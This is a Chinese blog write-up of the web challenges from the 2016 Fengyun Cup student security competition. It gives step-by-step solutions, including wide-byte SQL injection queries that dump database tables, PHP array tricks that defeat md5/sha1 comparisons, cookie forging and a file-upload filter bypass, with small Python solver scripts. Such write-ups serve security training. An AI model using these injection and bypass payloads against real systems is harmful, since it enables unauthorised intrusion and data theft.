风云杯大学生信安大赛(Web部分题解)
PS:菜鸟一枚,只做出了8题,第8题没思路,好吧,密码学没学好。。。还是坐等大神们的wp吧。
WEB01
http://139.129.166.67/4t56ysgh6h7u/
答案格式:仅输入{ }花括号中的内容
分值 50
本题考查的是正则表达式
页面源码:
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IsMatch= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IsMatch ){ die('key: '.$key);
}
?>
本地构造id测试通过后提交得到key
http://139.129.166.67/4t56ysgh6h7u/index.php?id=key123key12345key:/a/aakeya;
key: KEY{079b0c5ac8fa6b5e7a6855eeee622w1d11dbe80afc}
WEB02
http://139.129.166.67/fgrtgha45y6/fileupload.php
答案格式:仅输入{ }花括号中的内容
分值 100
本题考查的是上传绕过
不能上传马,否则禁IP
(可怜我后面的题全得上代理。。。)
burpsuite发送post包
1. 文件名后缀.php5
2. 修改表单属性Content-Type: image/jpeg
3. 修改表单属性Content-Type: Multipart/form-data;
WEB03
题目:
http://139.129.166.67/gth56u778i8/
答案格式:仅输入{ }花括号中的内容
分值 100
提示:php黑魔法
页面源代码:
<?php
extract($_GET);
if (!empty($dpc))
{
$combination = trim(file_get_contents($filename));
if ($dpc === $combination)
{
echo "<p>Hello:" ." $combination!?</p>";echo "<p>Congratulation.Key is:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
这道题有很多解法,我用的是php输入流
Hello: text!?
Congratulation.Key is: key{a643cfb7a9066fc0derdgt315f34117bd0ce}
WEB04
http://139.129.166.67/45y6ehtwht65/
答案格式:仅输入{ }花括号中的内容
分值 150
这题也是php黑魔法
访问:
http://139.129.166.67/45y6ehtwht65/index.php
返回:
Post your username and your password.
使用burpsuite发送post数据,并将Cookie中的user值修改为:YWRtaW4=
即admin的base64编码,原本是guest的base64编码Z3Vlc3Q=
以下为post数据和返回结果:
username=YWRtaW4%3D&password=YWRtaW4%3D
Post your username and your password.Your password can not be your username.
username和password不能一样
username=YWRtaW4%3D&password[]=1
Post your username and your password.md5(username) == md5(password) should be true!
要求md5后相等,直接构造数组即可
username[]=2&password[]=1
Post your username and your password.Flag: KEY{8666aaffad84355555f605a97f24aee4654c5}
WEB05
http://139.129.166.67/5677ui8ifgs/
答案格式:仅输入{ }花括号中的内容
提示:临时文件
还是php黑魔法。。。
访问临时文件:
http://139.129.166.67/5677ui8ifgs/index.php~
页面源码:
<?php
$_GET['myid'] = urldecode($_GET['myid']);
$flag = 'xxxxxxxxxxxxxxxxx';
if (isset($_GET['name']) and isset($_POST['password'])) {if ($_GET['name'] == $_POST['password'])print 'Your password can not be your name.';else if (sha1($_GET['name']) === sha1($_POST['password'])&($_GET['myid']=='anyun'))die('Flag: '.$flag);elseprint 'sorry!';}
?>
http://139.129.166.67/5677ui8ifgs/index.php?myid=anyun&name[]=1
post data: password[]=2
Flag: KEY{f3ac63c91272f19ce97c7397825cc15f}
web4和web5差不多的。。。
WEB06
题目:
http://139.129.166.67/5t5y6huj7j7/
答案格式:仅输入{ }花括号中的内容
本题考查手工注入
访问返回:
key in the database
在返回包里看到charset=gbk
不用多想,直接就是宽字符注入了
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 or 1=1%23
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,2%23
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(user(),0x7c,version(),0x7c,database())%23
shadow@localhost|5.1.73|test
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
article,flag
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167%23
id,thisisflag
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(id,0x7c,thisisflag) from flag%23
1|KEY{c67gf8a8ed45b7f4rtyjfc4d23eb9b4591c}
WEB07
http://139.129.166.67/gthyj67r/
答案格式:仅输入{ }花括号中的内容
本题考查的是网络编程
在源码中看到:
Please faster!!!<!– OK , you should post the anyun what you find –>
在响应头信息中有一个flag,是用base64编码过的
我们要做的就是把这个flag解码后提交
其实这道题并不难,细心一点就可以做出来了
写个python脚本搞定
import requests
import base64url = 'http://139.129.166.67/gthyj67r/index.php's = requests.session()s.proxies = {'http': 'http://180.162.229.150:8118'}req = s.get(url)_cookie=req.cookiesheader = req.headers['flag']flag = base64.b64decode(header)[14:]flag = base64.b64decode(flag)data = {'anyun': flag}res = s.post(url,data,cookies=_cookie)print res.content
很多人都会返回以下语句:
I said do faster
Please faster!!!<!– OK , you should post the anyun what you find –>
出现这个问题的原因就是只base64解码了一次,其实这里要将flag解码两次,只是很多人都没有发现而已。。。
解码两次后,即可得到key:
KEY{7379111111dd62fc5a2d377076b453e18a}
WEB09
http://139.129.166.67/sefrgtafgr/
访问链接会跳转到:
http://139.129.166.67/sefrgtafgr/index.php?line=&file=a2V5LnR4dA==
然后一看这个url后面的参数,顿时觉得眼熟啊,但就是想不起来在哪里做过了,看看是不是同样的思路先。
访问url:
http://139.129.166.67/sefrgtafgr/index.php?line=1&file=aW5kZXgucGhw
返回:
error_reporting(0);
这。。。简直就是照搬过来的题呀。。。一模一样。。。
修改line参数的值,会发现返回的是php文件的代码
写个python脚本来获取该php文件的内容
import requests
url = 'http://139.129.166.67/sefrgtafgr/index.php?line='
part = '&file=aW5kZXgucGhw's = requests.session()for i in range(1,19):res = s.get(url+str(i)+part)print res.content
获取到php文件的内容:
error_reporting(0);$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");$line=isset($_GET['line'])?intval($_GET['line']):0;if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");$file_list = array('0' =>'key.txt','1' =>'index.php',);if(isset($_COOKIE['key']) && $_COOKIE['key']=='an_yun_tec'){$file_list[2]='thisis_key.php';}if(in_array($file, $file_list)){$fa = file($file);echo $fa[$line];}?>
分析源码后,添加cookie值和构造url得到key
添加Cookie: key=an_yun_tec
构造url:http://139.129.166.67/sefrgtafgr/index.php?line=&file=dGhpc2lzX2tleS5waHA=
< ?php $key=’KEY{key_anyuntec_co0kies}’; ?>
>_<菜鸟只会做到这里了,剩下第8题只能等大神的wp了。。。
风云杯大学生信安大赛(Web部分题解)相关推荐
- 2016风云杯大学生信安大赛 WriteUp
2016风云杯大学生信安大赛 web 01 web 02 web 03 web 04 web 05 web 06 web 08 web 09 CRYPTO 01 misc 01 misc 02 mis ...
- 第九届“中国软件杯”大学生软件设计大赛总决赛落幕
11月3-5日,第九届"中国软件杯"大学生软件设计大赛(以下简称大赛)总决赛在江苏常州圆满举办.经过九年积累,大赛已经吸引包括全部985.211高校在内的千余所院校.数万支团队.二 ...
- 【官方】2023年“中国软件杯”大学生软件设计大赛飞桨小汪赛道基线系统
★★★ 本文源自AlStudio社区精品项目,[点击此处]查看更多精品内容 >>> 一.赛题简介:赋予机器狗感知能力 2023年"中国软件杯"大学生软件设计大赛飞 ...
- 蓝桥杯第十三届大赛web大学组题目及答案解析
- 题目列表 1. 水果拼盘(flex布局 - 送分题) 2. 展开你的扇子 (CSS动画 - 简单题) 直接上代码 /*TODO:请补充 CSS 代码*/ #box:hover div:nth-ch ...
- “中国软件杯”大学生软件设计大赛百度赛项东部赛区正式启动
当前,生成式AI热潮推动,人工智能正驶入发展快车道,复合型AI人才需求攀升,产教融合持续深化.3月25日,在泉城济南,百度飞桨协同山东大学.济南大学.青岛理工大学,共同举办飞桨院长高峰论坛暨" ...
- 润和软件受邀参展第十一届“中国软件杯”大学生软件设计大赛
"千秋基业,人才为本.强国建设,人才为先"8月16日,由工业和信息化部.教育部和江苏省人民政府共同主办的第十一届"中国软件杯"大学生软件设计大赛(简称" ...
- 实力吸引报名! 第八届“中国软件杯”大学生软件设计大赛课工场出题受热捧...
近日,第八届"中国软件杯"大学生软件设计大赛(简称:大赛) 作品提交阶段结束,共吸引全国大学生(含高职生)提交作品5000余件,彰显了大赛非同寻常的魅力. 值得一提的是,作为本次大 ...
- 课工场“中国软件杯”大学生软件设计大赛表彰大会在京成功举办
8月21日上午,第八届"中国软件杯"大学生软件设计大赛课工场指导老师与课工场代表队表彰大会在北京成功举办.课工场创始人兼总经理肖睿.课工场校企合作总监潘玉贞.课工场航天桥五道口中关 ...
- 第十二届“中国软件杯”大学生软件设计大赛线下集训营·武汉站活动圆满结束...
青春五月,活力四射."中国软件杯"大学生软件设计大赛(简称"大赛")组委会携手中国移动云能力中心走进湖北工业大学开展武汉站线下集训活动. 深入高校 推动校企合作 ...
最新文章
- linux进程间通信:命名管道FIFO
- android怎么监听多点触摸_什么是多点触控技术,有哪些用途
- Linux 系统查看硬件配置信息
- 原型设计工具【收集转帖】
- 我们应该使用什么指标来描述数据中心及其效率?
- 在.Net Core中使用Swagger制作接口文档
- linux proc目录 是什么意思,linux 下proc目录里面有什么
- POJ 2226 Muddy Fields(最小点覆盖)题解
- 实测Linux ext3/4文件系统的规模与瓶颈
- (转)让页面自动滚动到刷新页面之前的控件处,减少页面刷新带来的不便。
- Mysql系统参数查询和设置
- 蓝桥杯之《人民币金额大写》
- appcan 开发步骤
- FPGA 学习笔记(十一) VGA驱动的实现
- 使用python将图片改为灰度图或黑白图
- 关于verilog中综合的过程,可综合与不可综合的理解
- 《HelloGitHub》第 40 期
- 如何才能降低亚马逊账号关联?
- 如何理解同震、震后、震间的含义
- WPF入门教程系列(4)
热门文章
- 2022-2027年中国铅锌矿行业发展监测及投资战略研究报告
- 社保挂靠在人事外包公司名下可以吗
- Perfectly Clear Workbench for mac(图像清晰处理软件)
- java owl文件_java – 用Jena加载owl文件
- echarts实现2d柱状_堆叠柱状图
- 福禄克FLUKE DSX2-8000 CH/DSX2-5000 CH产品使用指南
- 这篇文章可以帮你掌握命令行的艺术
- 电子计算机说明文作文,电脑说明文
- Element UI 里的el-table表格排序
- Python爬取影评并进行情感分析和数据可视化